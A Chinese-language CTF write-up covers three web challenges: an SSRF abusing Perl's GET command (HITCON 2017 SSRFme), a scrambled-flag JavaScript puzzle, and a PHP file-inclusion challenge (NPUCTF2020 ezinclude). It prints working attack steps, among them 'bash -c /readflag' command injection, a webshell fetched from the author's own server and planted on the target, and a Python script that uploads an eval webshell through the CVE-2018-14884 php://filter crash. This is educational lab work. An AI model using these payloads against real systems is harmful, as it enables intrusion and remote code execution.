1月13日学习

[HITCON 2017]SSRFme

直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。

<?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址赋值给 REMOTE_ADDR。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}// 输出用户的远程地址(IP 地址)。echo $_SERVER["REMOTE_ADDR"];// 创建一个以用户 IP 地址(结合字符串 "orange")生成的 MD5 哈希值命名的沙盒目录。$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox); // 创建沙盒目录,如果目录已存在,错误将被抑制。@chdir($sandbox); // 切换到沙盒目录中。// 使用 shell 命令 GET 获取由 URL 参数指定的资源。$data = shell_exec("GET " . escapeshellarg($_GET["url"]));// 解析文件路径信息,获取文件名和目录名等信息。$info = pathinfo($_GET["filename"]);// 去掉目录名中的点号,防止目录穿越漏洞。$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir); // 创建目录,如果目录已存在,错误将被抑制。@chdir($dir); // 切换到新创建的目录中。// 将获取到的数据写入指定的文件中。@file_put_contents(basename($info["basename"]), $data);// 高亮显示当前脚本文件的代码。highlight_file(__FILE__);

如果存在 HTTP_X_FORWARDED_FOR 头,则使用其第一个值,否则使用 REMOTE_ADDR。接着利用用户 IP 生成的 MD5 值来创建目录,确保每个用户的操作在不同的目录中进行。执行GET拼接shell命令,内容可控。将可控内容写入到可控文件中。

实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/md5/filename中,其中filename为传入的Get参数。

构造?url=./../../&filename=123

然后访问,目录是 sandbox/(orange+ip)的MD5值/123

可以看到目录,但是不能够直接访问,尝试再多写一个../

 ?url=./../../../&filename=123

再加,最后为?url=./../../../../../&filename=123

已经可以看到根目录下的flag了。还可以看到readflag文件。那么思路就是利用readflag文件读取flag。

 尝试redaflag

?url=/readflag&filename=123

但是访问后是下载了一个二进制文件

并没有执行,那么就尝试将根目录下flag文件的内容写入到我们创建的文件中

利用到bash -c 

  • bash: 这是指 Bash Shell,一种常用的命令行解释器。
  • -c: 选项 -c 表示 Bash 将执行接下来的字符串作为命令。

/?url=file:bash -c /readflag|&filename=bash -c /readflag

file: 协议:通常用于访问文件系统中的文件。

再次传参/?url=file:bash -c /readflag&filename=123

然后访问

但是回显是空的。

 但是还可以使用另一种解法。

在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。

python3 -m http.server

用python启用一个http服务。

 构造pyalod进行请求

?url=172.17.xx.xx:8000/shell.php&filename=shell.php

然后再去访问,这样就把我们的马子给写进去了。

蚁剑直接连接

但是flag不可以直接打开,需要执行readflag

总结,该题可以使用两种解法,一个是利用原来的readflag文件读取flag,并将读取的结果输入到我们创建的文件中;

第二种就是利用vps,直接把vps的木马挂到我们创建的文件中就可以getshell。

该题的考点是ssrf,GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令。

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。

这里GET一个根目录,功能类似于ls把它给列出来。

[b01lers2020]Welcome to Earth

一个页面,但是是名为/die/

查看源代码

什么都没有,把/die/删掉看一看

 

可以看到源代码,访问 /chase/

接着访问/leftt/ 

接着访问/shoot/

接着访问/door/

接着访问/static/js/door.js

接着访问/open/

接着访问/static/js/open_sesame.js

最后访问/static/js/fight.js

得到源代码

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}

 flag被打乱了,还原flag。

# 从 itertools 库导入 permutations 函数,该函数可以生成给定可迭代对象的所有排列
from itertools import permutations# 定义一个包含若干字符串元素的列表 flag
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]# 使用 permutations 函数生成 flag 列表中所有元素的排列
item = permutations(flag)# 遍历所有排列的结果
for i in item:# 将当前排列 (元组) 转换为字符串k = ''.join(list(i))# 检查字符串是否以 "pctf{hey_boys" 开头,并且以 "}" 结尾if k.startswith('pctf{hey_boys') and k[-1] == '}':# 如果条件满足,则打印这个符合条件的字符串print(k)

尝试后得到pctf{hey_boys_im_baaaaaaaaaack!}

该题只有排列组合的问题,就算一个一个排列着试都可以得到正确结果。

[NPUCTF2020]ezinclude

显示username和password是错误的。尝试查看源代码。

有了提示,<!--md5($secret.$name)===$pass -->

在进过尝试后发现name和pass是通过get进行传参的。

 可以看到回显有个hash值,猜测可能是md5后的值,传参

/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

访问flflflflag.php

 

可以看到include($_GET["file"])

构造?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

查看源代码

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
w%ude($_GET["~)^"])

 再扫一下目录,看看还有没有其他可以用的代码。

扫了半天什么都没有扫到,但是看了wp后,存在一个dir.php文件

?file=php://filter/read=convert.base64-encode/resource=dir.php

<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容.

那么我们就可以把码写到临时文件中。

利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

strip_tags 过滤器的使用。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

构造payloud

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

import requests  # 导入requests库,用于处理HTTP请求
from io import BytesIO  # 导入BytesIO,用于在内存中操作字节数据# 定义需要执行的PHP代码
payload = "<?php eval($_POST[cmd]);?>"  # 这是一个PHP代码片段,可以通过POST数据执行传入的命令# 准备要发送的数据,模拟一个文件上传
data = {'file': BytesIO(payload.encode())}  # 将payload字符串转换为字节并包装在BytesIO对象中,模拟文件上传# 定义目标服务器的URL
url = "http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
# 这个URL使用了PHP过滤器来访问目标服务器上的'/etc/passwd'文件内容# 发送POST请求,带上准备好的数据和文件上传
r = requests.post(url=url, files=data, allow_redirects=False)
# 发送POST请求,包含'files'数据,'allow_redirects=False'防止自动重定向

运行脚本后访问/dir.php

得到tmp目录下刚刚我们上传的文件路径:/tmp/phpqUFJz7

利用文件包含

flag在里面。

总结:php://filter的 strip_tags 过滤器在php7导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/2424.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【RDMA学习笔记】1:RDMA(Remote Direct Memory Access)介绍

从帝国理工的PPT学习。 什么是RDMA Remote Direct Memory Access&#xff0c;也就是Remote的DMA&#xff0c;是一种硬件机制&#xff0c;能直接访问远端结点的内存&#xff0c;而不需要处理器介入。 其中&#xff1a; Remote&#xff1a;跨node进行数据传输Direct&#xff…

Docker

1. 初始Docker 1.1. 什么是Docker&#xff1f; 微服务虽然具备各种各样的优势&#xff0c;但服务的拆分通用给部署带来了很大的麻烦。 分布式系统中&#xff0c;依赖的组件非常多&#xff0c;不同组件之间部署时往往会产生一些冲突。在数百上千台服务中重复部署&#xff0c;环…

Deep4SNet: deep learning for fake speech classification

Deep4SNet&#xff1a;用于虚假语音分类的深度学习 摘要&#xff1a; 虚假语音是指即使通过人工智能或信号处理技术产生的语音记录。生成虚假录音的方法有"深度语音"和"模仿"。在《深沉的声音》中&#xff0c;录音听起来有点合成&#xff0c;而在《模仿》中…

Navicat Premium 原生支持阿里云 PolarDB 数据库

近日&#xff0c;我司旗下的 Navicat Premium 软件通过了阿里云 PolarDB 数据库产品生态集成认证&#xff0c;这标志着 Navicat 通过原生技术全面实现了对秒级弹性、高性价比、稳定可靠的PolarDB 数据库三大引擎&#xff08;PolarDB MySQL版、PolarDB PostgreSQL版和 PolarDB f…

LabVIEW光流算法的应用

该VI展示了如何使用NI Vision Development Module中的光流算法来计算图像序列中像素的运动矢量。通过该方法&#xff0c;可以实现目标跟踪、运动检测等功能&#xff0c;适用于视频处理、机器人视觉和监控领域。程序采用模块化设计&#xff0c;包含图像输入、算法处理、结果展示…

JAVA:在IDEA引入本地jar包的方法(不读取maven目录jar包)

问题&#xff1a; 有时maven使用的jar包版本是最新版&#xff0c;但项目需要的是旧版本&#xff0c;每次重新install会自动将mavan的jar包覆盖到项目的lib目录中&#xff0c;导致项目报错。 解决&#xff1a; 在IDEA中手动配置该jar包对应的目录。 点击菜单File->Projec…

升级 SpringBoot3 全项目讲解 — 为什么 SpringBoot3 应该抛弃 Maven,搭配 Gradle 来使用?

学会这款 &#x1f525;全新设计的 Java 脚手架 &#xff0c;从此面试不再怕&#xff01; 随着 Spring Boot 3 的发布&#xff0c;许多开发者开始考虑如何将现有项目升级到最新版本。Spring Boot 3 带来了许多新特性&#xff0c;包括对 Java 17 的支持、更好的性能优化以及对 G…

大疆上云API基于源码部署

文章目录 大疆上云API基于源码部署注意事项1、学习官网2、环境准备注意事项3、注册成为DJI开发者4、下载前后端运行所需要的包/依赖前端依赖下载后端所需要的Maven依赖包 用到的软件可以在这里下载5、MySQL数据库安装安装MySQL启动MySQL服务在IDEA中配置MySQL的连接信息 6、Red…

Js:正则表达式及正则表达式方法

① 创建正则表达式对象&#xff1a; /** 语法&#xff1a;* var reg new RegExp(正则表达式, 匹配模式);* 匹配模式(字符串类型)&#xff1a;i --> 忽略大小写 g --> 全局匹配模式*/var reg new RegExp(a, i);var str abc; /** 正则表达式的方法&#…

【论文阅读】具身人工智能(Embodied AI)综述:连接数字与物理世界的桥梁

摘要 具身人工智能&#xff08;Embodied AI&#xff09;对于实现通用人工智能&#xff08;AGI&#xff09;至关重要&#xff0c;是连接数字世界与物理世界的各类应用的基础。近年来&#xff0c;多模态大模型&#xff08;MLMs&#xff09;和世界模型&#xff08;WMs&#xff09…

数据结构--二叉树

目录 有序二叉树&#xff1a; 平衡二叉树&#xff1a; 234树&#xff1a; 红黑树 红黑树特点&#xff1a; 为什么红黑树是最优二叉树&#xff1f; 哈夫曼树和哈夫曼编码 有序二叉树&#xff1a; 平衡二叉树&#xff1a; 在有序二叉树的基础上得来的&#xff0c;且左右子…

【算法】图解两个链表相交的一系列问题

问&#xff1a; 给定两个可能有环也可能无环的单链表&#xff0c;头节点head1和head2。请实现一个函数&#xff0c;如果两个链表相交&#xff0c;请返回相交的第一个节点&#xff1b;如果不相交&#xff0c;返回null。如果两个链表长度之和为N&#xff0c;时间复杂度请达到O(N…

Python文件操作中编码解码问题

一、错误介绍 在学习python文件操作过程中遇到了UnicodeDecodeError错误&#xff0c;报错信息如下图所示。 二、错误产生的原因 下面是个人理解&#xff0c;可能存在错误&#xff0c;请理性看待。 windows默认按照GBK来进行编码的&#xff0c;而处理的文件是用UTF-8进行编码…

麦田物语学习笔记:构建游戏的时间系统

基本流程 1.代码思路 (1)新建一个TimeManager.cs (2)创建枚举变量来表示四季,在TimeManager里需要的变量有: 游戏内的秒,分钟,小时,天,月,年;游戏内的季节;控制一个季节有多少个月;控制时间的暂停;计时器tikTime (3)在Settings里添加计时器的阈值,以及各个时间的进位 (4)初始化…

《leetcode-runner》如何手搓一个debug调试器——指令系统

前文&#xff1a; 《leetcode-runner》如何手搓一个debug调试器——引言 《leetcode-runner》如何手搓一个debug调试器——架构 文章目录 什么是指令系统指令的组成部分leetcode-runner支持哪些指令如何解析用户输入的命令行指令识别流程 仓库地址&#xff1a;leetcode-runner …

Python 实现 NLP 的完整流程

&#x1f496; 欢迎来到我的博客&#xff01; 非常高兴能在这里与您相遇。在这里&#xff0c;您不仅能获得有趣的技术分享&#xff0c;还能感受到轻松愉快的氛围。无论您是编程新手&#xff0c;还是资深开发者&#xff0c;都能在这里找到属于您的知识宝藏&#xff0c;学习和成长…

学习ASP.NET Core的身份认证(基于JwtBearer的身份认证5)

用户在前端页面登录成功后会从服务端获取Token&#xff0c;后续调用服务器的服务接口时都得带着Token&#xff0c;否则就会验证失败。之前使用postman测试的时候&#xff0c;获取Token后再调用其它服务都是人工将Token添加到Header中&#xff0c;网页中没法这么做&#xff0c;只…

【深度学习实战】kaggle 自动驾驶的假场景分类

本次分享我在kaggle中参与竞赛的历程&#xff0c;这个版本是我的第一版&#xff0c;使用的是vgg。欢迎大家进行建议和交流。 概述 判断自动驾驶场景是真是假&#xff0c;训练神经网络或使用任何算法来分类驾驶场景的图像是真实的还是虚假的。 图像采用 RGB 格式并以 JPEG 格式…

下载文件,浏览器阻止不安全下载

背景&#xff1a; 在项目开发中&#xff0c;遇到需要下载文件的情况&#xff0c;文件类型可能是图片、excell表、pdf、zip等文件类型&#xff0c;但浏览器会阻止不安全的下载链接。 效果展示&#xff1a; 下载文件的两种方式&#xff1a; 一、根据接口的相对url&#xff0c;拼…

【漏洞分析】DDOS攻防分析

0x00 UDP攻击实例 2013年12月30日&#xff0c;网游界发生了一起“追杀”事件。事件的主角是PhantmL0rd&#xff08;这名字一看就是个玩家&#xff09;和黑客组织DERP Trolling。 PhantomL0rd&#xff0c;人称“鬼王”&#xff0c;本名James Varga&#xff0c;某专业游戏小组的…